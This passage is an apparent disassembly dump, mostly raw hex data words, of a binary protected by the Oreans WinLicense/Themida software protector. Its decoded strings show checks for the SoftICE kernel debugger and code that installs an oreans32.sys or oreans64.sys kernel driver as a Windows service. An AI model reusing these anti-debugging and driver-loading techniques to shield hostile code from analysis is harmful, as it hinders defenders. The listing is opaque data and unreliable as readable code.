65DAE44Dh, 6605EF7h, 4BD5F75Eh, 64CD77D1h dd 0D079EB5Ah, 60C973EEh, 0D67FE55Eh, 0B269F692h, 1BC2E9F7h dd 9B37FF4Dh, 0B1521141h, 724C22DBh, 0EB8FAE0Eh, 0BBF371D5h dd 0F0FC40DFh, 7051CF76h, 5B72A14h, 8D2F92ACh, 4EB92A14h dd 0E806B52Ah, 0E6C7C2E9h, 0E9E8C279h, 0B2A0BC2h, 0A92DACAEh dd 0DF4BD27Bh, 2E8h, 48E15BC9h, 0FF560E76h, 52FB61C1h dd 0E049F36Ch, 55FC68DEh, 0D94FAD77h, 89FCC26Bh, 0D54C72DBh dd 93F0CE67h, 583C78D1h, 0E9F714C7h, 51E3B5C2h, 76129B37h dd 32E97612h, 9BC93094h, 116DF2BAh, 7CCF772Ch, 395D395Dh dd 0E9FCF3A6h, 87F5D4C2h, 6446F9Ah, 17296164h, 0D99F36AEh dd 0F89CF83Dh, 0A304698Ah, 0C8F6CA41h, 5C7DE458h, 84DA8B14h dd 0D2F3C2EAh, 5113754Bh, 3192ACC8h, 158C38ACh, 0AD8C1534h dd 4EB886E5h, 858D4CD3h, 1F3EC2EAh, 0A13E5A3Eh, 0C2EA84FAh dd 13BAF2D3h, 62DA4977h dd 9A4D89FBh, 8127F87Dh, 6AEE8A0h, 328A96DCh, 9E0189CDh dd 0C2E9CBDBh, 0CDECCDECh, 0CC8B36A9h, 6D4CC2E9h, 6BF490F4h dd 0C2E9CCB0h, 4E703819h, 95F66FD5h, 22F283F1h, 185ABD14h dd 4FF56E50h, 0F96BD8E6h, 0A1E6D360h, 7B3EA1C5h, 4CC2EA41h dd 4104B728h, 0E4C5C2EAh, 2CF68DC5h, 47EE56CFh, 0E8545123h dd 0F31D94D6h, 0A42085BBh, 803BA4C0h, 49C2EA0Ch, 87B92068h dd 243AA321h, 0FD66D35Fh, 782AEB58h, 7B2D6C18h, 51F8D9F8h dd 0D24BF96Fh, 48335461h, 0AE152BDEh, 3625D44Bh, 87A6C2EAh dd 76D0EEA6h, 0EF5967CEh, 0FA88EC75h, 0C9035D29h, 48763E25h dd 2B926D9h, 0D9C2E9CCh, 0E9CC9346h, 631534C2h, 82FA6342h dd 66C02DF9h, 0FC6957FEh, 0CBE7920Dh, 0BFE4C2E9h, 0ED8F2962h dd 5DC2A6D0h, 0C2EA309Eh, 0E2F0E2Fh, 0EA910E6Ah, 0ABC2EA2Fh dd 0DEFF893Bh, 0F6B0F96h, 0EA2FE990h, 8BC3E2C2h, 5D97A714h dd 0C5512A7Bh, 0E049FB68h, 85E065DEh, 596746DFh, 315574E8h dd 910FCA55h, 86B80AFBh, 0CD85A420h, 48FC6A54h, 8E79EFD1h dd 0FB916A11h, 6342630Ah, 0E361C4FAh, 63E1447Ah, 0B08C96EDh dd 40A19FFBh, 0C83B059Ch, 8DAC8D14h, 0A7EF55B3h, 0CDBF52DCh dd 2F933057h, 6496E433h, 153370E5h, 73D0EEA6h, 6EF195F1h dd 0AFB88ABh, 294F3D1Ch, 8FC8E514h, 0E4802961h, 9D47BE80h dd 0FAFA5702h, 1951700Ah, 9F06BE27h, 98FC39D9h, 3F135507h dd 9D026611h, 10BF10DEh, 0F086CEEFh, 923E78D1h, 0ACE07F1Bh dd 0E11705A8h, 0FE6759C0h, 0EF8BEF46h, 0F980C970h, 6B23020Ah dd 0ED74F055h, 85CC3572h, 6C33E0Dh, 9E07269Eh, 79E46A0h dd 37AD1826h, 73BFC4AEh, 359843DCh, 10310C75h, 15017A31h dd 7D19CB38h, 0F145350Fh, 0A2EA4879h, 14D0350Bh, 69D34E70h dd 0E2DCB821h, 3DFC8D7Eh, 0C6264736h, 3091AFE7h, 166D158Ch dd 11B62F0Ch, 0B6970EB6h, 285A3E97h, 1DE721F1h, 2C125AD4h dd 0F0940DB7h, 91F257CEh, 2EBAF2D3h, 1Ch, 0BA2B159Ch, 1E7A420Ah dd 0C758BF20h, 0C9309414h, 0C7B594B5h, 6D335A03h, 18AAE213h dd 0FE67D54Fh, 78E163C0h, 0F861DB46h, 7CE55FC6h, 0F960E442h dd 7AE361C7h, 0F861DB44h, 7BE25AC6h, 0FA63E145h, 0E08950EDh dd 3A4CBE56h, 0EE816525h, 60337EFEh, 44B6C681h, 0F001FB0Eh dd 4E8835Eh, 5C240487h, 81E18951h, 4C1h, 4E98300h, 5C240C87h dd 50241C89h, 405E089h, 83000000h, 48704E8h, 3C895C24h dd 83685024h, 586A3531h, 3DC9BB53h, 0C3817F0Fh, 1D02287Ah dd 895BD801h, 8B5458C3h, 0C483243Ch, 4815304h, 786E5324h dd 8478F08h, 0C45BD55h, 0F5815603h, 10296011h, 0D5F7EDD1h dd 0D5F7DDF7h, 0A787F581h, 6F29D492h, 34FF5D08h, 0C4815F24h dd 4 db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5445C2 ; --------------------------------------------------------------------------- dd 0D0F38CF1h, 0B8FDD6EFh, 646A093h, 0E0FFC503h, 2AA5B9ECh dd 3544FE83h, 3B8C8664h, 2DA2A045h, 2D1730D8h, 1FE9E322h dd 68F3623Dh, 72E9h, 0BD836000h, 64431BDh, 5840F00h, 0E9000000h dd 5Dh, 3E80006Ah, 8850F30h, 6A000000h, 35E94600h, 80000000h dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h dd 13E9h, 353E8000h, 8850Fh, 406A0000h, 2E946h, 6A0000h dd 1B29858Dh, 50900644h, 34895090h, 0FF006A24h, 44035D95h dd 0C6C36106h, 4402E985h, 3A684D06h, 819B385Fh, 176E2404h dd 0B5FF08FDh, 6440E25h, 3A65858Dh, 0D0FF0644h, 35D8589h dd 13E80644h, 5B000000h, 828B35FFh, 2B44AD19h, 1AD7C37Eh dd 2E343835h, 0B8660AD4h, 0B5AD522h, 441799B5h, 5EC28106h dd 66000062h, 3A63D081h, 1868BFh, 39858B00h, 8B06442Ch dd 0D19D890Ah, 8106442Bh, 933026F1h, 859D8B2Bh, 81064430h dd 0FB6289C1h, 81C68B15h, 33093DE9h, 0EE917h, 9EF0000h dd 5623512Ah, 9C62E0BAh, 0A20BA410h, 0BF0F0A89h, 0F5EA81D8h dd 8161EF2Fh, 0CC265EF3h, 0F1C2810Fh, 8961EF2Fh, 44221585h dd 1EF8306h, 1F850Fh, 9D8B0000h, 6440FF5h, 28E9h, 0C2B98300h dd 0EFA82AD6h, 0F8876A9Eh, 0DAC82303h, 0B8A45F76h, 7BDF80DFh dd 0FFFF7EE9h, 2D89B6FFh, 0C8B28D02h, 0D1B24CF3h, 0AAE905h dd 6F530000h, 61777466h, 575C6572h, 694C6E69h, 736E6563h dd 68430065h, 496B6365h, 7058004Eh, 45746F72h, 746978h dd 63656843h, 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 69724465h dd 56726576h, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h dd 736E4965h, 636E6174h, 78450065h, 6B4F7469h, 6F725000h dd 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h, 4F746978h dd 54005455h, 4E4970h, 3 dup(0) dd 77DDAF7Fh, 77DD72F0h, 596E9h, 72858900h, 8D0646A3h dd 46A36E85h, 858D5006h, 646A2D8h, 16850h, 95FF8000h, 646A37Eh dd 0B5FF196Ah, 646A372h, 6A016Ah, 0A307858Dh, 0FF500646h dd 46A36EB5h, 0A995FF06h, 0FF064407h, 46A36EB5h, 7A95FF06h dd 0FF0646A3h, 46A36EB5h, 0F995FF06h, 0C3064413h, 0A3728589h dd 858D0646h, 646A36Eh, 0D8858D50h, 500646A2h, 168h, 7E95FF80h dd 6A0646A3h, 72858D04h, 500646A3h, 6A046Ah, 0A331858Dh dd 0FF500646h, 46A36EB5h, 0A995FF06h, 0FF064407h, 46A36EB5h dd 7A95FF06h, 0FF0646A3h, 46A36EB5h, 0F995FF06h, 0C3064413h dd 0A3728589h, 858D0646h, 646A36Eh, 0D8858D50h, 500646A2h dd 168h, 7E95FF80h, 6A0646A3h, 72858D04h, 500646A3h, 6A046Ah dd 0A319858Dh, 0FF500646h, 46A36EB5h, 0A995FF06h, 0FF064407h dd 46A36EB5h, 7A95FF06h, 0FF0646A3h, 46A36EB5h, 0F995FF06h dd 0C3064413h, 0A3728589h, 858D0646h, 646A36Eh, 0D8858D50h dd 500646A2h, 168h, 7E95FF80h, 6A0646A3h, 72858D04h, 500646A3h dd 6A046Ah, 0A344858Dh, 0FF500646h, 46A36EB5h, 0A995FF06h dd 0FF064407h, 46A36EB5h, 7A95FF06h, 0FF0646A3h, 46A36EB5h dd 0F995FF06h, 0C3064413h, 0A3728589h, 858D0646h, 646A36Eh dd 0D8858D50h, 500646A2h, 168h, 7E95FF80h, 6A0646A3h, 72858D04h dd 500646A3h, 6A046Ah, 0A2F4858Dh, 0FF500646h, 46A36EB5h dd 0A995FF06h, 0FF064407h, 46A36EB5h, 7A95FF06h, 0FF0646A3h dd 46A36EB5h, 0F995FF06h, 0C3064413h, 2F3DBD83h, 0F000644h dd 0B84h, 3D9D8B00h, 8306442Fh, 3894CC3h, 3DBD83C3h, 6442Fh dd 0B840Fh, 9D8B0000h, 6442F3Dh, 8950C383h, 0BD83C303h dd 6442F3Dh, 0B840F00h, 8B000000h, 442F3D9Dh, 54C38306h dd 83C30389h, 442F3DBDh, 840F0006h, 0Bh, 2F3D9D8Bh, 0C3830644h dd 0C3038958h, 2F3DBD83h, 0F000644h, 0B84h, 3D9D8B00h dd 8306442Fh, 3895CC3h, 8960C3C3h, 46A37285h, 6E858D06h dd 500646A3h, 0A2D8858Dh, 68500646h, 80000001h, 0A37E95FFh dd 46A0646h, 0A372858Dh, 6A500646h, 8D006A04h, 46A36985h dd 0B5FF5006h, 646A36Eh, 7A995FFh, 0BD830644h, 64420CDh dd 0C840F00h, 0FF000000h, 46A36EB5h, 7A95FF06h, 0FF0646A3h dd 46A36EB5h, 0F995FF06h, 61064413h, 858960C3h, 646A372h dd 0A36E858Dh, 8D500646h, 46A2D885h, 1685006h, 0FF800000h dd 46A37E95h, 8D046A06h, 46A37285h, 46A5006h, 858D006Ah dd 646A34Bh, 6EB5FF50h, 0FF0646A3h, 4407A995h, 0CDBD8306h dd 64420h, 0C840Fh, 0B5FF0000h, 646A36Eh, 0A37A95FFh, 0B5FF0646h dd 646A36Eh, 13F995FFh, 0C3610644h, 72858960h, 8D0646A3h dd 46A36E85h, 858D5006h, 646A2D8h, 16850h, 95FF8000h, 646A37Eh dd 858D046Ah, 646A372h, 6A046A50h, 52858D00h, 500646A3h dd 0A36EB5FFh, 95FF0646h, 64407A9h, 20CDBD83h, 0F000644h dd 0C84h, 6EB5FF00h, 0FF0646A3h, 46A37A95h, 6EB5FF06h dd 0FF0646A3h, 4413F995h, 60C36106h, 0A3728589h, 858D0646h dd 646A36Eh, 0D8858D50h, 500646A2h, 168h, 7E95FF80h, 6A0646A3h dd 72858D04h, 500646A3h, 6A046Ah, 0A35A858Dh, 0FF500646h dd 46A36EB5h, 0A995FF06h, 83064407h, 4420CDBDh, 840F0006h dd 0Ch, 0A36EB5FFh, 95FF0646h, 646A37Ah, 0A36EB5FFh, 95FF0646h dd 64413F9h, 8960C361h, 46A37285h, 6E858D06h, 500646A3h dd 0A2D8858Dh, 68500646h, 80000001h, 0A37E95FFh, 46A0646h dd 0A372858Dh, 6A500646h, 8D006A04h, 46A36185h, 0B5FF5006h dd 646A36Eh, 7A995FFh, 0BD830644h, 64420CDh, 0C840F00h dd 0FF000000h, 46A36EB5h, 7A95FF06h, 0FF0646A3h, 46A36EB5h dd 0F995FF06h, 61064413h, 85C760C3h, 646A372h, 1, 0A36E858Dh dd 8D500646h, 46A2D885h, 2685006h, 0FF800000h, 46A37E95h dd 0FC00B06h, 0F84h, 7285C700h, 646A3h, 0E9000000h, 4Dh dd 858D046Ah, 646A372h, 6A046A50h, 0EC858D00h, 500646A2h dd 0A36EB5FFh, 95FF0646h, 64407A9h, 840FC00Bh, 0Fh, 0A37285C7h dd 646h, 0AE90000h, 0C7000000h, 46A37285h, 106h, 6EB5FF00h dd 0FF0646A3h, 4413F995h, 858B6106h, 646A372h, 858960C3h dd 646A372h, 0A36E858Dh, 8D500646h, 46A2D885h, 1685006h dd 0FF800000h, 46A37E95h, 8D046A06h, 46A37285h, 46A5006h dd 858D006Ah, 646A2ECh, 6EB5FF50h, 0FF0646A3h, 4407A995h dd 0CDBD8306h, 64420h, 0C840Fh, 0B5FF0000h, 646A36Eh, 0A37A95FFh dd 0B5FF0646h, 646A36Eh, 13F995FFh, 0C3610644h, 72858960h dd 8D0646A3h, 46A36E85h, 858D5006h, 646A2D8h, 16850h, 95FF8000h dd 646A37Eh, 858D046Ah, 646A372h, 6A046A50h, 0FE858D00h dd 500646A2h, 0A36EB5FFh, 95FF0646h, 64407A9h, 20CDBD83h dd 0F000644h, 0C84h, 6EB5FF00h, 0FF0646A3h, 46A37A95h dd 6EB5FF06h, 0FF0646A3h, 4413F995h, 0C6C36106h, 4402E985h dd 7685206h, 0FFADE47Bh, 441D85B5h, 9995FF06h, 8906442Dh dd 46A37E85h, 0E985C606h, 52064402h, 2E00E568h, 85B5FF90h dd 0FF06441Dh, 442D9995h, 7A858906h, 0C60646A3h, 4402E985h dd 35685206h, 0FFB9BF12h, 441D85B5h, 9995FF06h, 8906442Dh dd 4407A985h, 0E985C606h, 52064402h, 78103468h, 85B5FF98h dd 0FF06441Dh, 442D9995h, 0F9858906h, 0C6064413h, 4402E985h dd 0D4685206h, 0FFC005DBh, 441D85B5h, 9995FF06h, 8906442Dh dd 4419E585h, 5C1EEB06h, 535C2E5Ch, 454349h, 5C2E5C5Ch dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 8BC08B00h dd 442D058Dh, 0CDBD8306h, 64420h, 0BD830975h, 6440B25h dd 50197400h, 0B8C08B53h, 40Fh, 2F58589h, 9D8D0644h, 646A84Fh dd 585BD3FFh, 0B25BD83h, 74000644h, 0B8535017h, 40Fh, 2F58589h dd 9D8D0644h, 646A53Eh, 585BD3FFh, 4658D33h, 95230644h dd 6442AA5h, 0B70FC08Bh, 0E985C6FFh, 43064402h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 57C35343h, 4A4F6674h dd 0FA0C142Bh, 0A5BD8B36h, 68064431h, 0A229CB1Ch, 5E2D2FBFh dd 2434813Ch, 1EA7A5E0h, 0F98D8951h, 5E064429h, 2D7DB5FFh dd 8B660644h, 65858DCFh, 6A06443Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9B1DC352h dd 0F5B589ADh, 0E9064428h, 0Dh, 0B81B0864h, 0D057171Ch dd 0DED452E3h, 31D0FF18h, 442FA58Dh, 8B669006h, 0D38B50CBh dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0FCF38B29h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0D90C09C3h dd 0FA9F1D0Ah, 0A860FC7h, 0F000000h, 48Bh, 0B7BA6600h dd 484868C7h, 0EE867B6h, 93000000h, 0FB1F3BBAh, 6B09BE18h dd 0CF9E3AAAh, 525060A0h, 585A310Fh, 310F5250h, 5961585Ah dd 0C8243481h, 8967B648h, 4432A99Dh, 8A036A06h, 6A006AD7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 3114C353h, 0C1F681D1h, 6A2FB8FDh, 56006A03h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 8DC10376h, 0C20AFC6Fh, 378668C9h, 0BA665792h, 481C0AEh dd 6DC87A24h, 68A0F68h, 89000000h, 441829B5h, 0B59D8D06h dd 290646A9h, 4424E1B5h, 937EB506h, 665023B2h, 6093D38Bh dd 81D0B70Fh, 0E7F7B4C0h, 0D0FF6169h, 6800F50h, 89000000h dd 442049B5h, 0F405A06h, 24785h, 5DF68000h, 0FFFEB958h dd 66506A74h, 899C7ABAh, 0DE92404h, 0EF000000h, 0FC568DFEh dd 0D0461323h, 37616078h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0EA6E8AC3h, 10DBF206h dd 0E8BFD5ADh, 0Ch, 76FCDB5Eh, 304CD9h, 0DDA731D2h, 5850Fh dd 0B1B90000h, 5F1049C2h, 0FFFBF0Fh, 1968D7B7h, 8169F278h dd 78992434h, 950B69F2h, 6440C9Dh, 0D78A036Ah, 8B66006Ah dd 19870FFEh, 0E9000000h, 14h, 7CEEE6D7h, 6D8621A8h, 735DE762h dd 128B25FDh, 67CDE644h, 8B66036Ah, 969E68FEh, 0F08ABF3Ch dd 9E243481h, 0F87F3C96h, 0A9BE9D8Dh, 880F0646h, 6, 8BACF181h dd 0B58B30BCh, 6441601h, 0F88B6650h, 0E8241C89h, 0Ah, 557E651Fh dd 0F1518871h, 5AF5D13Eh, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 4AFE22C3h, 1830F34h dd 0F8000000h, 2D850F40h, 8B000001h, 4432298Dh, 0BD235806h dd 6441559h, 50D08B90h, 8990F18Bh, 441C51B5h, 6A006A06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0E030C355h, 0EBD39078h, 0F5F28B2Ah, 0E9A4ED68h dd 81EB8AF6h, 5B932404h, 8D890916h, 6442B71h, 890F036Ah dd 2, 6AFB8Bh, 6A86EA80h, 25950B03h, 0E8064426h, 4, 0C0000000h dd 2A78BA66h, 3860F50h, 66000000h, 448BD38Bh, 0A7B20424h dd 81B2008Bh, 4244489h, 4880Fh, 0BE660000h, 0F58101Bh dd 683h, 0DD8D0100h, 8D06442Eh, 46A9C99Dh, 0A0B96606h dd 52509397h, 0FD78B66h, 1A860F31h, 0E8000000h, 14h, 7AD49E51h dd 5A1C0D7Fh, 90F8AE63h, 660FDA53h, 0BE682420h, 50585A5Eh dd 8A525050h, 5A310FF3h, 0F9935958h, 6AD0FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B7D4B1C3h dd 850F40F9h, 1Ch, 305BD8Bh, 0BE580644h, 688EAE7h, 0EDE9h dd 39C28100h, 0B948A0B0h, 79C3E550h, 6AD88Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 817857C3h dd 0E9DFD10Ch, 9, 6393804Eh, 0F057B7B1h, 0DA814B7Eh, 5EEE51Ch dd 0CADE8166h, 8D8958D2h, 6442A39h, 2E985C6h, 89430644h dd 4410459Dh, 0C2816606h, 4E8470Dh, 0A7000000h, 66C0764Ah dd 6650FE8Bh, 8B3CE0BFh, 8B042444h, 0E8525000h, 0Ah, 0D4622899h dd 4A47EBAEh, 0F18B85D3h, 66310F5Eh, 5ACEA3B9h, 24448958h dd 6B95BF04h, 0F5587A5Ch, 2D7DB5FFh, 8B660644h, 65858DF7h dd 8006443Ah, 0D0FFD3F5h, 29558D89h, 66930644h, 9350D38Bh dd 0FFCB8B66h, 0A59D89D0h, 66064408h, 8D354FBAh, 44733A9Dh dd 259D3106h, 0B806440Ch, 1, 2BC59D89h, 0E3FF0644h, 14D1B589h dd 0C18B0644h, 1911BD89h, 0C08B0644h, 3498D89h, 0BD830644h dd 64420CDh, 83097500h, 440B25BDh, 19740006h, 0C08B5350h dd 40FB8h, 29858900h, 8D064422h, 46A8B69Dh, 5BD3FF06h dd 25BD8358h, 6440Bh, 53501774h, 40FB8h, 29858900h, 8D064422h dd 46A5579Dh, 5BD3FF06h, 42D58058h, 0E8C08BF5h, 6, 6DEA4F06h dd 8E984BEh, 95000000h, 0A3FCD63Ch, 5E8A2DC1h, 14E8h, 0FD185000h dd 0F8F63F8Ch, 28282F08h, 0ADB8322Bh, 0AEA15E2Dh, 815AF82Eh dd 6D8EC6h, 199D8900h, 0B806441Eh, 1B3Eh, 0FFBBDA80h, 8E936h dd 19CB0000h, 363FCC04h, 665B5682h, 0BAB5D981h, 2FFCF381h dd 0F58045CCh, 2BC3817Bh, 804D7D86h, 0C381B8EAh, 66AE2CF6h dd 6A18D0Bh, 1E890644h, 0A02CEE81h, 0BF0F70ACh, 28C681F9h dd 2970ACA0h, 4424059Dh, 850F4806h, 0FFFFFFAFh, 0D39B589h dd 0EE90644h, 33000002h, 6E6E6143h, 7720746Fh, 65746972h dd 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h dd 74206572h, 20746168h, 73696874h, 6C696620h, 73692065h dd 746F6E20h, 69656220h, 7520676Eh, 20646573h, 61207962h dd 68746F6Eh, 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 0EFE900h, 85C60000h, 64402E9h, 5B866847h, 0B5FFE3E4h dd 6442D7Dh, 3A65858Dh, 0D0FF0644h, 10468h, 519D8D00h dd 5306440Eh, 8D50D0FFh, 46B229B5h, 32FE8B06h, 850FAEC0h dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 4402E985h dd 0FC684306h, 0FFBC8E6Eh, 442D7DB5h, 65858D06h, 0FF06443Ah dd 51B58DD0h, 6A06440Eh, 806800h, 26A0000h, 6A006Ah, 68h dd 0D0FF56C0h, 85C6D88Bh, 64402E9h, 0EE566857h, 0B5FFA69Bh dd 6442D7Dh, 3A65858Dh, 0D0FF0644h, 1C09BD8Dh, 8D8D0644h dd 646B34Fh, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh dd 0B031B58Dh, 858D0646h, 646A173h, 8D8DD0FFh, 644733Ah dd 0B8h, 0C6E1FF00h, 4402E985h, 0A7684306h, 0FFC0764Ah dd 442D7DB5h, 65858D06h, 0FF06443Ah, 0D0FF53D0h, 37D0B9C3h dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0 dd offset dword_450050+4BB0h dd 0 dd 4000200h, 0 dd 3800000h, 1400h, 4 dup(0) dd 20000h, 1C000h, 9000h, 0 dd 7E00h, 0 dd 0C400h, 100h, 0DC00h, 3 dup(0) dd 12C00h, 13800h, 2 dup(0) dd 14200h, 19600h, 1D200h, 0 dd 1D200h, 0 dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0) dd 27C004h, 0 dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h dd 300h, 0 dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h dd 16B0007h, 277101h, 360h dup(0) dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0) dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h dd 9C3h dup(0) dd 1BE88300h, 7309F883h, 8524FF07h, 0 dd 0C3F8h, 8 dup(0) dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 99E900h, 622F0000h dd 68636775h, 326B6365h, 75622F00h, 65686367h, 2F006B63h dd 63726F66h, 6E757265h, 75622F00h, 65686367h, 75666B63h dd 2F006C6Ch, 776F6873h, 65646F63h, 68732F00h, 6F63776Fh dd 326564h, 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h dd 73h, 632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh dd 83000000h, 46EBA4BDh, 840F0006h, 0Ah, 0B2585C7h, 10644h dd 85C60000h, 64402E9h, 6E516847h, 4816518h, 54FE3C24h dd 7DB5FF2Bh, 8D06442Dh, 443A6585h, 0FFD0FF06h, 80F88BD0h dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 18840F00h dd 47000003h, 0F003F80h, 30E84h, 1EE900h, 3F800000h, 840F00h dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h, 0FFFFFFE2h dd 0F003F80h, 585h, 2DDE900h, 1E90000h, 47000000h, 0F203F80h dd 0FFFFF684h, 3F80FFh, 5850Fh, 0C0E90000h, 0E8000002h dd 0Ah, 0FFFFCBE9h, 2B1E9FFh, 0B58D0000h, 646EB24h, 225E8h dd 0B9BD0300h, 830646EBh, 46EBB9BDh, 840F0006h, 0Bh, 20CD85C7h dd 10644h, 8DC30000h, 46EB2FB5h, 1FCE806h, 0BD030000h dd 646EBB9h, 0EBB9BD83h, 0F000646h, 0B84h, 2585C700h, 106440Bh dd 0C3000000h, 0EBA8B58Dh, 0D3E80646h, 3000001h, 46EBB9BDh dd 0B9BD8306h, 646EBh, 0B840Fh, 85C70000h, 64431BDh, 1 dd 39B58DC3h, 0E80646EBh, 1AAh, 0EBB9BD03h, 0BD830646h dd 646EBB9h, 0B840F00h, 0C7000000h, 440B2585h, 106h, 0B58DC300h dd 646EB43h, 181E8h, 0B9BD0300h, 830646EBh, 46EBB9BDh dd 840F0006h, 15h, 0B2585C7h, 10644h, 85C70000h, 64420CDh dd 1, 51B58DC3h, 0E80646EBh, 14Eh, 0EBB9BD03h, 0BD830646h dd 646EBB9h, 0A840F00h, 0C7000000h, 4416C185h, 106h, 5BB58D00h dd 0E80646EBh, 126h, 0EBB9BD03h, 0BD830646h, 646EBB9h dd 0A840F00h, 0C7000000h, 4416C185h, 106h, 66B58D00h, 0E80646EBh dd 0FEh, 0EBB9BD03h, 0BD830646h, 646EBB9h, 0A840F00h, 0C7000000h dd 4418C985h, 106h, 6CB58D00h, 0E80646EBh, 0D6h, 0EBB9BD03h dd 0BD830646h, 646EBB9h, 0A840F00h, 0C7000000h, 440A9985h dd 106h, 72B58D00h, 0E80646EBh, 0AEh, 0EBB9BD03h, 0BD830646h dd 646EBB9h, 0A840F00h, 0C7000000h, 4431DD85h, 106h, 80B58D00h dd 0E80646EBh, 86h, 0EBB9BD03h, 0BD830646h, 646EBB9h, 0A840F00h dd 0C7000000h, 44320D85h, 106h, 8DB58D00h, 0E80646EBh dd 5Eh, 0EBB9BD03h, 0BD830646h, 646EBB9h, 0A840F00h, 0C7000000h dd 441A1985h, 106h, 98B58D00h, 0E80646EBh, 36h, 0EBB9BD03h dd 0BD830646h, 646EBB9h, 0A840F00h, 0C7000000h, 44181185h dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h dd 0B960C3FFh, 1, 19E9DE8Bh, 80000000h, 850F003Fh, 2, 178AC92Bh dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h dd 0FFFFD685h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h dd 0D840Fh, 0F32B0000h, 0EBB9B589h, 0AE90646h, 0C7000000h dd 46EBB985h, 6, 8BC36100h, 10A9E9C8h, 44410000h, 49504156h dd 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h, 72656761h dd 72430041h, 65746165h, 76726553h, 41656369h, 61745300h dd 65537472h, 63697672h, 47004165h, 614E7465h, 65766974h dd 74737953h, 6E496D65h, 4F006F66h, 536E6570h, 69767265h dd 416563h, 656C6544h, 65536574h, 63697672h, 6C430065h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 6E6F4300h dd 6C6F7274h, 76726553h, 656369h, 8 dup(0) aOreans32_sys db 'oreans32.sys',0 align 4 dd 0 dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0 dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0) aSystemroot db 'SYSTEMROOT',0 aSSystem32Drive db '%s\system32\drivers\%s',0 aSSyswow64Drive db '%s\syswow64\drivers\%s',0 aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0 align 10h dd 48h dup(0) dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 